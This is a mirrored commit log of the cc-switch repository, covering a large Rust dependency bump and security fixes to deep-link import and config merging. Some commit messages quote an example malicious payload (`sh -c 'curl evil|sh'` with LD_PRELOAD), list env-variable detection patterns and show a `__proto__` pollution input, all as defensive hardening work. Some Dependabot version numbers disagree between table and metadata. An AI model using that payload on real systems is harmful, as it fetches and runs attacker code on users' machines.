mirror of
https://github.com/farion1231/cc-switch.git
synced 2026-07-30 02:14:43 +08:00
de3d0849d66fbc0f383818fecdf496a1e28c9a73
2212 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
de3d0849d6 |
chore(deps): bump the cargo-deps group across 1 directory with 49 updates
Bumps the cargo-deps group with 49 updates in the /src-tauri directory: | Package | From | To | | --- | --- | --- | | [serde_json](https://github.com/serde-rs/json) | `1.0.149` | `1.0.151` | | [serde](https://github.com/serde-rs/serde) | `1.0.228` | `1.0.229` | | [log](https://github.com/rust-lang/log) | `0.4.29` | `0.4.33` | | [chrono](https://github.com/chronotope/chrono) | `0.4.44` | `0.4.45` | | [tauri-plugin-log](https://github.com/tauri-apps/plugins-workspace) | `2.8.0` | `2.9.0` | | [tauri-plugin-opener](https://github.com/tauri-apps/plugins-workspace) | `2.5.3` | `2.5.4` | | [tauri-plugin-updater](https://github.com/tauri-apps/plugins-workspace) | `2.10.0` | `2.10.1` | | [tauri-plugin-dialog](https://github.com/tauri-apps/plugins-workspace) | `2.6.0` | `2.7.2` | | [tauri-plugin-store](https://github.com/tauri-apps/plugins-workspace) | `2.4.2` | `2.4.4` | | [tauri-plugin-deep-link](https://github.com/tauri-apps/plugins-workspace) | `2.4.7` | `2.4.9` | | [dirs](https://github.com/soc/dirs-rs) | `5.0.1` | `6.0.0` | | [toml](https://github.com/toml-rs/toml) | `0.8.23` | `1.0.6+spec-1.1.0` | | [toml_edit](https://github.com/toml-rs/toml) | `0.22.27` | `0.25.4+spec-1.1.0` | | [brotli](https://github.com/dropbox/rust-brotli) | `7.0.0` | `8.0.2` | | [tokio](https://github.com/tokio-rs/tokio) | `1.50.0` | `1.53.1` | | [futures](https://github.com/rust-lang/futures-rs) | `0.3.32` | `0.3.33` | | [bytes](https://github.com/tokio-rs/bytes) | `1.11.1` | `1.12.1` | | [axum](https://github.com/tokio-rs/axum) | `0.7.9` | `0.8.9` | | [tower](https://github.com/tower-rs/tower) | `0.4.13` | `0.5.3` | | [tower-http](https://github.com/tower-rs/tower-http) | `0.5.2` | `0.6.8` | | [hyper](https://github.com/hyperium/hyper) | `1.8.1` | `1.11.0` | | [hyper-rustls](https://github.com/rustls/hyper-rustls) | `0.27.7` | `0.27.9` | | [http](https://github.com/hyperium/http) | `1.4.0` | `1.5.0` | | [http-body](https://github.com/hyperium/http-body) | `1.0.1` | `1.1.0` | | [http-body-util](https://github.com/hyperium/http-body) | `0.1.3` | `0.1.4` | | [rustls](https://github.com/rustls/rustls) | `0.23.37` | `0.23.42` | | [webpki-roots](https://github.com/rustls/webpki-roots) | `0.26.11` | `1.0.6` | | [rustls-native-certs](https://github.com/rustls/rustls-native-certs) | `0.8.3` | `0.8.4` | | [regex](https://github.com/rust-lang/regex) | `1.12.3` | `1.13.1` | | [rquickjs](https://github.com/DelSkayn/rquickjs) | `0.8.1` | `0.12.2` | | [thiserror](https://github.com/dtolnay/thiserror) | `2.0.18` | `2.0.19` | | [anyhow](https://github.com/dtolnay/anyhow) | `1.0.102` | `1.0.104` | | [zip](https://github.com/zip-rs/zip2) | `2.4.2` | `4.6.1` | | [auto-launch](https://github.com/zzzgydi/auto-launch) | `0.5.0` | `0.6.0` | | [once_cell](https://github.com/matklad/once_cell) | `1.21.3` | `1.21.4` | | [base64](https://github.com/marshallpierce/rust-base64) | `0.22.1` | `0.23.0` | | [rusqlite](https://github.com/rusqlite/rusqlite) | `0.31.0` | `0.40.1` | | [indexmap](https://github.com/indexmap-rs/indexmap) | `2.13.0` | `2.14.0` | | [rust_decimal](https://github.com/paupino/rust-decimal) | `1.40.0` | `1.42.1` | | [uuid](https://github.com/uuid-rs/uuid) | `1.22.0` | `1.24.0` | | [sha2](https://github.com/RustCrypto/hashes) | `0.10.9` | `0.11.0` | | [hmac](https://github.com/RustCrypto/MACs) | `0.12.1` | `0.13.0` | | [json5](https://github.com/callum-oakley/json5-rs) | `0.4.1` | `1.3.1` | | [tauri-plugin-single-instance](https://github.com/tauri-apps/plugins-workspace) | `2.4.0` | `2.4.3` | | [winreg](https://github.com/gentoo90/winreg-rs) | `0.52.0` | `0.55.0` | | [objc2](https://github.com/madsmtm/objc2) | `0.5.2` | `0.6.4` | | [objc2-app-kit](https://github.com/madsmtm/objc2) | `0.2.2` | `0.3.2` | | [serial_test](https://github.com/palfrey/serial_test) | `3.4.0` | `4.0.1` | | [tauri-build](https://github.com/tauri-apps/tauri) | `2.5.6` | `2.6.3` | Updates `serde_json` from 1.0.149 to 1.0.151 - [Release notes](https://github.com/serde-rs/json/releases) - [Commits](https://github.com/serde-rs/json/compare/v1.0.149...v1.0.151) Updates `serde` from 1.0.228 to 1.0.229 - [Release notes](https://github.com/serde-rs/serde/releases) - [Commits](https://github.com/serde-rs/serde/compare/v1.0.228...v1.0.229) Updates `log` from 0.4.29 to 0.4.33 - [Release notes](https://github.com/rust-lang/log/releases) - [Changelog](https://github.com/rust-lang/log/blob/master/CHANGELOG.md) - [Commits](https://github.com/rust-lang/log/compare/0.4.29...0.4.33) Updates `chrono` from 0.4.44 to 0.4.45 - [Release notes](https://github.com/chronotope/chrono/releases) - [Changelog](https://github.com/chronotope/chrono/blob/main/CHANGELOG.md) - [Commits](https://github.com/chronotope/chrono/compare/v0.4.44...v0.4.45) Updates `tauri-plugin-log` from 2.8.0 to 2.9.0 - [Release notes](https://github.com/tauri-apps/plugins-workspace/releases) - [Commits](https://github.com/tauri-apps/plugins-workspace/compare/log-v2.8.0...log-v2.9.0) Updates `tauri-plugin-opener` from 2.5.3 to 2.5.4 - [Release notes](https://github.com/tauri-apps/plugins-workspace/releases) - [Commits](https://github.com/tauri-apps/plugins-workspace/compare/http-v2.5.3...http-v2.5.4) Updates `tauri-plugin-updater` from 2.10.0 to 2.10.1 - [Release notes](https://github.com/tauri-apps/plugins-workspace/releases) - [Commits](https://github.com/tauri-apps/plugins-workspace/compare/updater-v2.10.0...updater-v2.10.1) Updates `tauri-plugin-dialog` from 2.6.0 to 2.7.2 - [Release notes](https://github.com/tauri-apps/plugins-workspace/releases) - [Commits](https://github.com/tauri-apps/plugins-workspace/compare/log-v2.6.0...dialog-v2.7.2) Updates `tauri-plugin-store` from 2.4.2 to 2.4.4 - [Release notes](https://github.com/tauri-apps/plugins-workspace/releases) - [Commits](https://github.com/tauri-apps/plugins-workspace/compare/fs-v2.4.2...fs-v2.4.4) Updates `tauri-plugin-deep-link` from 2.4.7 to 2.4.9 - [Release notes](https://github.com/tauri-apps/plugins-workspace/releases) - [Commits](https://github.com/tauri-apps/plugins-workspace/compare/deep-link-v2.4.7...deep-link-v2.4.9) Updates `dirs` from 5.0.1 to 6.0.0 - [Commits](https://github.com/soc/dirs-rs/commits) Updates `toml` from 0.8.23 to 1.0.6+spec-1.1.0 - [Commits](https://github.com/toml-rs/toml/compare/toml-v0.8.23...toml-v1.0.6) Updates `toml_edit` from 0.22.27 to 0.25.4+spec-1.1.0 - [Commits](https://github.com/toml-rs/toml/compare/v0.22.27...v0.25.4) Updates `brotli` from 7.0.0 to 8.0.2 - [Release notes](https://github.com/dropbox/rust-brotli/releases) - [Commits](https://github.com/dropbox/rust-brotli/compare/7.0.0...8.0.2) Updates `tokio` from 1.50.0 to 1.53.1 - [Release notes](https://github.com/tokio-rs/tokio/releases) - [Commits](https://github.com/tokio-rs/tokio/compare/tokio-1.50.0...tokio-1.53.1) Updates `futures` from 0.3.32 to 0.3.33 - [Release notes](https://github.com/rust-lang/futures-rs/releases) - [Changelog](https://github.com/rust-lang/futures-rs/blob/main/CHANGELOG.md) - [Commits](https://github.com/rust-lang/futures-rs/compare/0.3.32...0.3.33) Updates `bytes` from 1.11.1 to 1.12.1 - [Release notes](https://github.com/tokio-rs/bytes/releases) - [Changelog](https://github.com/tokio-rs/bytes/blob/master/CHANGELOG.md) - [Commits](https://github.com/tokio-rs/bytes/compare/v1.11.1...v1.12.1) Updates `axum` from 0.7.9 to 0.8.9 - [Release notes](https://github.com/tokio-rs/axum/releases) - [Changelog](https://github.com/tokio-rs/axum/blob/main/CHANGELOG.md) - [Commits](https://github.com/tokio-rs/axum/compare/axum-v0.7.9...axum-v0.8.9) Updates `tower` from 0.4.13 to 0.5.3 - [Release notes](https://github.com/tower-rs/tower/releases) - [Commits](https://github.com/tower-rs/tower/compare/tower-0.4.13...tower-0.5.3) Updates `tower-http` from 0.5.2 to 0.6.8 - [Release notes](https://github.com/tower-rs/tower-http/releases) - [Commits](https://github.com/tower-rs/tower-http/compare/tower-http-0.5.2...tower-http-0.6.8) Updates `hyper` from 1.8.1 to 1.11.0 - [Release notes](https://github.com/hyperium/hyper/releases) - [Changelog](https://github.com/hyperium/hyper/blob/master/CHANGELOG.md) - [Commits](https://github.com/hyperium/hyper/compare/v1.8.1...v1.11.0) Updates `hyper-rustls` from 0.27.7 to 0.27.9 - [Release notes](https://github.com/rustls/hyper-rustls/releases) - [Commits](https://github.com/rustls/hyper-rustls/compare/v/0.27.7...v/0.27.9) Updates `http` from 1.4.0 to 1.5.0 - [Release notes](https://github.com/hyperium/http/releases) - [Changelog](https://github.com/hyperium/http/blob/master/CHANGELOG.md) - [Commits](https://github.com/hyperium/http/compare/v1.4.0...v1.5.0) Updates `http-body` from 1.0.1 to 1.1.0 - [Release notes](https://github.com/hyperium/http-body/releases) - [Commits](https://github.com/hyperium/http-body/compare/v1.0.1...v1.1.0) Updates `http-body-util` from 0.1.3 to 0.1.4 - [Release notes](https://github.com/hyperium/http-body/releases) - [Commits](https://github.com/hyperium/http-body/compare/http-body-util-v0.1.3...http-body-util-v0.1.4) Updates `rustls` from 0.23.37 to 0.23.42 - [Release notes](https://github.com/rustls/rustls/releases) - [Changelog](https://github.com/rustls/rustls/blob/main/CHANGELOG.md) - [Commits](https://github.com/rustls/rustls/compare/v/0.23.37...v/0.23.42) Updates `webpki-roots` from 0.26.11 to 1.0.6 - [Release notes](https://github.com/rustls/webpki-roots/releases) - [Commits](https://github.com/rustls/webpki-roots/compare/v/0.26.11...v/1.0.6) Updates `rustls-native-certs` from 0.8.3 to 0.8.4 - [Release notes](https://github.com/rustls/rustls-native-certs/releases) - [Commits](https://github.com/rustls/rustls-native-certs/compare/v/0.8.3...v/0.8.4) Updates `regex` from 1.12.3 to 1.13.1 - [Release notes](https://github.com/rust-lang/regex/releases) - [Changelog](https://github.com/rust-lang/regex/blob/master/CHANGELOG.md) - [Commits](https://github.com/rust-lang/regex/compare/1.12.3...1.13.1) Updates `rquickjs` from 0.8.1 to 0.12.2 - [Changelog](https://github.com/DelSkayn/rquickjs/blob/master/CHANGELOG.md) - [Commits](https://github.com/DelSkayn/rquickjs/compare/v0.8.1...v0.12.2) Updates `thiserror` from 2.0.18 to 2.0.19 - [Release notes](https://github.com/dtolnay/thiserror/releases) - [Commits](https://github.com/dtolnay/thiserror/compare/2.0.18...2.0.19) Updates `anyhow` from 1.0.102 to 1.0.104 - [Release notes](https://github.com/dtolnay/anyhow/releases) - [Commits](https://github.com/dtolnay/anyhow/compare/1.0.102...1.0.104) Updates `zip` from 2.4.2 to 4.6.1 - [Release notes](https://github.com/zip-rs/zip2/releases) - [Changelog](https://github.com/zip-rs/zip2/blob/master/CHANGELOG.md) - [Commits](https://github.com/zip-rs/zip2/compare/v2.4.2...v4.6.1) Updates `auto-launch` from 0.5.0 to 0.6.0 - [Commits](https://github.com/zzzgydi/auto-launch/commits) Updates `once_cell` from 1.21.3 to 1.21.4 - [Changelog](https://github.com/matklad/once_cell/blob/master/CHANGELOG.md) - [Commits](https://github.com/matklad/once_cell/compare/v1.21.3...v1.21.4) Updates `base64` from 0.22.1 to 0.23.0 - [Changelog](https://github.com/marshallpierce/rust-base64/blob/master/RELEASE-NOTES.md) - [Commits](https://github.com/marshallpierce/rust-base64/compare/v0.22.1...v0.23.0) Updates `rusqlite` from 0.31.0 to 0.40.1 - [Release notes](https://github.com/rusqlite/rusqlite/releases) - [Changelog](https://github.com/rusqlite/rusqlite/blob/master/Changelog.md) - [Commits](https://github.com/rusqlite/rusqlite/compare/v0.31.0...v0.40.1) Updates `indexmap` from 2.13.0 to 2.14.0 - [Changelog](https://github.com/indexmap-rs/indexmap/blob/main/RELEASES.md) - [Commits](https://github.com/indexmap-rs/indexmap/compare/2.13.0...2.14.0) Updates `rust_decimal` from 1.40.0 to 1.42.1 - [Release notes](https://github.com/paupino/rust-decimal/releases) - [Changelog](https://github.com/paupino/rust-decimal/blob/master/CHANGELOG.md) - [Commits](https://github.com/paupino/rust-decimal/compare/1.40.0...1.42.1) Updates `uuid` from 1.22.0 to 1.24.0 - [Release notes](https://github.com/uuid-rs/uuid/releases) - [Commits](https://github.com/uuid-rs/uuid/compare/v1.22.0...v1.24.0) Updates `sha2` from 0.10.9 to 0.11.0 - [Commits](https://github.com/RustCrypto/hashes/compare/sha2-v0.10.9...sha2-v0.11.0) Updates `hmac` from 0.12.1 to 0.13.0 - [Commits](https://github.com/RustCrypto/MACs/compare/hmac-v0.12.1...hmac-v0.13.0) Updates `json5` from 0.4.1 to 1.3.1 - [Release notes](https://github.com/callum-oakley/json5-rs/releases) - [Commits](https://github.com/callum-oakley/json5-rs/compare/0.4.1...1.3.1) Updates `tauri-plugin-single-instance` from 2.4.0 to 2.4.3 - [Release notes](https://github.com/tauri-apps/plugins-workspace/releases) - [Commits](https://github.com/tauri-apps/plugins-workspace/compare/fs-v2.4.0...fs-v2.4.3) Updates `winreg` from 0.52.0 to 0.55.0 - [Release notes](https://github.com/gentoo90/winreg-rs/releases) - [Changelog](https://github.com/gentoo90/winreg-rs/blob/master/CHANGELOG.md) - [Commits](https://github.com/gentoo90/winreg-rs/compare/v0.52.0...v0.55.0) Updates `objc2` from 0.5.2 to 0.6.4 - [Commits](https://github.com/madsmtm/objc2/compare/objc2-0.5.2...objc2-0.6.4) Updates `objc2-app-kit` from 0.2.2 to 0.3.2 - [Commits](https://github.com/madsmtm/objc2/compare/objc2-0.2.2...objc-sys-0.3.2) Updates `serial_test` from 3.4.0 to 4.0.1 - [Release notes](https://github.com/palfrey/serial_test/releases) - [Commits](https://github.com/palfrey/serial_test/compare/v3.4.0...v4.0.1) Updates `tauri-build` from 2.5.6 to 2.6.3 - [Release notes](https://github.com/tauri-apps/tauri/releases) - [Commits](https://github.com/tauri-apps/tauri/compare/tauri-build-v2.5.6...tauri-build-v2.6.3) --- updated-dependencies: - dependency-name: anyhow dependency-version: 1.0.104 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: auto-launch dependency-version: 0.6.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: axum dependency-version: 0.8.9 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: base64 dependency-version: 0.23.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: brotli dependency-version: 8.0.2 dependency-type: direct:production update-type: version-update:semver-major dependency-group: cargo-deps - dependency-name: bytes dependency-version: 1.12.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: chrono dependency-version: 0.4.45 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: dirs dependency-version: 6.0.0 dependency-type: direct:production update-type: version-update:semver-major dependency-group: cargo-deps - dependency-name: futures dependency-version: 0.3.33 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: hmac dependency-version: 0.13.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: http dependency-version: 1.4.2 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: http-body dependency-version: 1.1.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: http-body-util dependency-version: 0.1.4 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: hyper dependency-version: 1.11.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: hyper-rustls dependency-version: 0.27.9 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: indexmap dependency-version: 2.14.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: json5 dependency-version: 1.3.1 dependency-type: direct:production update-type: version-update:semver-major dependency-group: cargo-deps - dependency-name: log dependency-version: 0.4.33 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: objc2 dependency-version: 0.6.4 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: objc2-app-kit dependency-version: 0.3.2 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: once_cell dependency-version: 1.21.4 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: regex dependency-version: 1.13.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: rquickjs dependency-version: 0.12.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: rusqlite dependency-version: 0.40.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: rustls dependency-version: 0.23.42 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: rustls-native-certs dependency-version: 0.8.4 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: rust_decimal dependency-version: 1.42.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: serde dependency-version: 1.0.229 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: serde_json dependency-version: 1.0.151 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: serial_test dependency-version: 3.5.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: sha2 dependency-version: 0.11.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: tauri-build dependency-version: 2.6.3 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: tauri-plugin-deep-link dependency-version: 2.4.9 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: tauri-plugin-dialog dependency-version: 2.7.2 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: tauri-plugin-log dependency-version: 2.9.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: tauri-plugin-opener dependency-version: 2.5.4 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: tauri-plugin-single-instance dependency-version: 2.4.3 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: tauri-plugin-store dependency-version: 2.4.4 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: tauri-plugin-updater dependency-version: 2.10.1 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: thiserror dependency-version: 2.0.19 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: cargo-deps - dependency-name: tokio dependency-version: 1.53.1 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: toml dependency-version: 1.0.6+spec-1.1.0 dependency-type: direct:production update-type: version-update:semver-major dependency-group: cargo-deps - dependency-name: toml_edit dependency-version: 0.25.4+spec-1.1.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: tower dependency-version: 0.5.3 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: tower-http dependency-version: 0.6.8 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: uuid dependency-version: 1.24.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: webpki-roots dependency-version: 1.0.6 dependency-type: direct:production update-type: version-update:semver-major dependency-group: cargo-deps - dependency-name: winreg dependency-version: 0.55.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: cargo-deps - dependency-name: zip dependency-version: 4.6.1 dependency-type: direct:production update-type: version-update:semver-major dependency-group: cargo-deps ... Signed-off-by: dependabot[bot] <support@github.com> |
||
|
|
56fb46c093 |
perf(codex): cache parent rollout timelines across fork cutoffs (#5626)
* perf(codex): cache parent rollout timelines * fix(codex): harden parent timeline cache * fix(codex): tighten replay cache invalidation --------- Co-authored-by: Ayanami <ay@nami.ltd> Co-authored-by: SaladDay <92240037+SaladDay@users.noreply.github.com> |
||
|
|
30409878bd |
chore(presets): add PackyCode backup endpoints
Add three fallback endpoints alongside the primary www.packyapi.ai across the five preset files that support endpointCandidates: https://cf.api.fan https://slb-v1.api.fan https://www.packyapi.com The /v1 suffix follows each file's existing convention rather than the literal values supplied: bare domains for the Anthropic-native presets (Claude Code, Claude Desktop, Gemini), /v1 for Codex and Grok Build. Candidates are consumed as complete base URLs by the endpoint picker and the speed test, so they must sit at the same path level as the primary. www.packyapi.com is the pre-b0482320 domain, kept here deliberately as a fallback -- not a leftover of that migration. OpenCode, OpenClaw and Hermes have no endpointCandidates field in their interfaces and are untouched. |
||
|
|
bfb767ae17 |
chore(presets): align Code0 and Qiniu Gemini defaults to 3.6 Flash
Both presets pinned gemini-3.1-pro-preview while the other Gemini presets had moved to gemini-3.6-flash. Note this is a tier change rather than a version bump: there is no 3.6 Pro release and 3.5 Pro is still limited to partner testing, so the current baseline is a flash-tier model. The gemini-3.1-pro-preview row in the built-in pricing seed is kept so historical usage keeps its cost. |
||
|
|
dbb265956e |
feat(presets): add A6API sponsor preset across all supported apps
Add the A6API aggregator preset to Claude Code, Claude Desktop, Codex, Gemini CLI, OpenCode, OpenClaw, Hermes and Grok Build, placed after NekoCode in the sponsor ordering. Base URLs follow the per-client convention: no /v1 suffix for the Anthropic-native and Gemini endpoints, /v1 for the OpenAI-compatible ones. Model defaults mirror NekoCode. Also add the four-locale promotion copy, the sponsor row in all four READMEs and the icon index entry. The supplied artwork was resized before landing: the icon was a 1024x1024 PNG base64-wrapped in an SVG shell (652K, the largest entry in iconUrls and shipped in every build), now a 256x256 PNG at 60K; the banners were 16:9, the only ones deviating from the 2.406 project standard, now cropped to 1280x532. |
||
|
|
87b0e3fb85 |
fix(test): pin zip extraction temp dir instead of hijacking TMPDIR
The two cleanup-guard tests introduced in
|
||
|
|
b33d300d0b |
docs(security): document the threat model and reporting scope
The policy explained how to report but never what counts as a
vulnerability, so any finding phrased as "IPC command X, given parameter
Y, writes a file" arrived as a valid report.
Records the trust boundary as a scoping decision supported by four
checkable facts about the shipped renderer, each with the condition that
would invalidate it. The exemption covers only reports whose sole route
to the IPC surface is DevTools or a locally modified frontend; a chain
starting from a deep link, remote data, an inbound proxy request or an
XSS stays in scope. Trust in the renderer covers the code we ship, not
arbitrary values flowing through it.
Notable corrections to the first draft, from review:
- the app is not free of server components: it runs a local HTTP proxy
whose listen address is user-configurable and may be non-loopback.
Inbound requests to it are now listed as untrusted input
- "no remote content" was already false. The renderer fetches model
pricing JSON and provider avatars, which CSP permits. Narrowed to
remote *executable* content, and the remote data it does fetch is
named and classified as untrusted
- having the same filesystem permissions as the user does not make a
write the user's decision. Confused-deputy cases, where an untrusted
source controls the path or content, are in scope
- user-authored integrations that run commands are out of scope; the
same integrations arriving by import or deep link are not, and the
required property there is informed consent
- being in scope here and meeting GitHub's CVE eligibility criteria
are separate questions, decided by different parties
|
||
|
|
245d180c25 |
docs(user-manual): correct the deeplink usageEnabled default
All three manuals stated the parameter defaults to true. It now defaults to false, and the script body is shown in full before import. Without an explicit `true` the script is imported but left disabled, and can be enabled from the app. |
||
|
|
cfa90f396a |
fix(deeplink): import usage scripts disabled and show their code
An imported usage script is JavaScript that runs whenever usage is
queried. Two things made it possible to acquire one without seeing it:
- `usage_enabled.unwrap_or(!code.is_empty())` treated the presence of
code as a decision to run it, so a link that simply carried a script
got it enabled
- the confirmation dialog rendered only an enabled/disabled badge; the
script body was never displayed
Default to disabled. Enabling now requires `usageEnabled=true` in the
link -- which is the link author's request, not the user's consent. The
consent is the user pressing Import after seeing the full script body
and the badge, which is why both displays are load-bearing rather than
decorative.
The badge predicate moves from `!== false` to `=== true` to match the
new backend default. Left alone it would have started rendering "did not
say" as a green "Enabled" -- more optimistic than what would actually
happen.
Extracts the payload decode into `decodeDeeplinkPayload`, which falls
back to the raw string when decoding fails or yields empty. A dialog
whose job is to show what is about to be written must not let a payload
vanish just because it is malformed; empty reads as "there is no
script", which is exactly the wrong impression.
|
||
|
|
19bf236e58 |
fix(deeplink): decode URL-safe Base64 in import confirmations
The renderer only fed input to `atob`, which rejects the URL-safe
alphabet (RFC 4648 §5). The backend, meanwhile, tries STANDARD,
STANDARD_NO_PAD, URL_SAFE and URL_SAFE_NO_PAD in turn, so a link whose
payload used `-`/`_` decoded fine on the way in but not on the way to
the screen.
`decodeBase64Utf8` swallows its own failure and returns the input
unchanged, so the mismatch was silent:
- usage script -> the confirmation showed opaque Base64
- prompt -> same
- MCP config -> `JSON.parse` threw, the catch returned null, and
the dialog rendered "0 servers" with an empty list
The MCP case defeated the server/argument display added earlier: a
one-character substitution made the whole list disappear while the
backend still imported the real `mcpServers` entry.
Normalize `-` to `+` and `_` to `/` before decoding, in both the primary
path and the last-resort fallback, so the two sides agree on what a
payload says. Standard Base64 contains neither character, so this cannot
misread standard input.
Adds the first tests for this shared decoder. They exercise the real
implementation rather than an injected stub, and assert their own
premise -- a payload whose standard encoding happens to contain no `+`
or `/` makes the URL-safe conversion a no-op and the test vacuous.
|
||
|
|
a443eae95a |
fix(deeplink): surface MCP args/env and flag risky values on import
The MCP confirmation rendered only `Command: ${spec.command}`, inside a
`truncate` container, and showed neither `args` nor `env`. The realistic
payload -- `command: "sh"`, `args: ["-c", "curl evil|sh"]`, plus an
`env` carrying LD_PRELOAD -- therefore displayed as a harmless
`Command: sh`. On confirm it is written to `~/.claude.json` and the other
live files, and the CLI spawns it on next launch.
Render command, args, url and env on separate lines, expanding args
item by item rather than joining them: the payload usually sits inside
one argument, and joining then truncating is exactly how it stayed
hidden. `break-all` replaces `truncate` so nothing is clipped out of
view. Rows matching a `classify*` helper are marked, with a summary
block underneath since per-row markers are easy to skim past.
The provider side already listed env keys and values; it gains the same
highlighting, `break-all`, and an endpoint marker, and now shares
`maskValue` with the MCP view.
Show the "written to the target apps immediately" warning
unconditionally. It was gated on `request.enabled`, but the MCP import
path never reads that field -- `deeplink/mcp.rs` has no reference to it
and calls `set_enabled_for(&app, true)` unconditionally, unlike
prompt.rs, skill.rs and provider.rs which do honour it. Gating on it let
a malicious link omit `enabled` to suppress the warning while the write
behaviour stayed identical, turning the warning into a switch the
attacker controls.
New i18n keys added to all four locales (zh/en/ja/zh-TW).
|
||
|
|
6dbb944b54 |
feat(deeplink): add risk classification helpers for import confirmation
Pure helpers used only to annotate the deep-link confirmation dialog. They deliberately do not block anything: custom endpoints and env vars are normal third-party provider configuration (`http://localhost:11434` is ordinary Ollama usage), so filtering them would break legitimate setups. The actual gap is that the user cannot see what they are approving, which is a visibility problem, not a policy one. - `classifyEnvKey` flags variables that change how a process loads code rather than which API it talks to: LD_*/DYLD_*, NODE_OPTIONS, NODE_EXTRA_CA_CERTS, PYTHONPATH, PATH, HTTP(S)_PROXY and friends. No legitimate provider preset needs these set over a shared link. - `classifyEndpoint` matches loopback, RFC 1918, link-local and cloud metadata addresses. Literal matching only, no DNS resolution: resolving adds latency and the answer can differ from what the client resolves later (rebinding), so treating it as a control would be false assurance. Handles IPv4-mapped IPv6, since `new URL()` normalizes `[::ffff:127.0.0.1]` to hex `[::ffff:7f00:1]` and a dotted-quad regex alone misses that whole class. - `classifyCommand` looks at command *and* args, because the realistic payload is `command: "sh"` with `args: ["-c", "curl evil|sh"]` -- a UI that renders only the command shows a harmless `sh`. Inline-command flags are matched by shape, not by literal, to cover combined POSIX short options (`bash -lc`), case-insensitive `cmd /C`, and PowerShell's abbreviations of `-Command`. Every parameter takes `unknown`. These values come from arbitrary base64-decoded JSON, where TypeScript annotations offer no runtime guarantee; a non-string `command` would throw on `.split()` and blank the whole confirmation dialog, which is worse than the misleading render it replaces -- the user would not even see that something wants importing. `maskValue` moves here from the dialog component so the MCP and provider confirmations share one redaction rule instead of drifting apart. |
||
|
|
cd17912f04 |
fix(config): stop common config snippet walkers touching Object.prototype
`JSON.parse('{"__proto__":{…}}')` produces `__proto__` as an *own
enumerable* property, so `Object.entries` yields it; and
`isPlainObject(Object.prototype)` is true, so `deepMerge` skipped its
"replace with empty object" branch and merged straight into the global
prototype. Reproduced, not inferred.
`deepRemove` had the same shape and was destructive: `"__proto__" in
target` is always true because `in` walks the prototype chain, so it
recursed into `Object.prototype` and deleted from it.
Reachable without XSS: `settings` is not in the sync skip/preserve lists,
so `common_config_*` is overwritten by whatever the WebDAV/S3 remote
sends, and opening a provider form merges it.
Guard all three walkers that share the traversal shape. The third,
`isSubset`, only reads and cannot pollute, but following
`target["__proto__"]` made `{"__proto__":{}}` a subset of *every* config,
so the "common config applied" toggle read wrong. It also now requires
own properties, since an inherited key is not "present in the config".
`isSubset` rejects on a forbidden key rather than skipping: if a future
caller bypasses sanitization, reporting "not applied" is the safe
direction because re-applying is idempotent.
That rejection alone left an inconsistency: merge skips forbidden keys
and keeps going, so `{"env":{"A":"1"},"__proto__":{}}` really did write
`env.A` while `hasCommonConfigSnippet` reported it as never applied.
Fixed by sanitizing on the *reading* side only, so the comparison runs
against exactly what the write side produces. Deliberately not applied to
the write path: `deepMerge`/`deepRemove` already skip these keys, so
sanitizing first is byte-for-byte identical there -- an unfalsifiable
call that would wrongly imply the walkers cannot handle their own input.
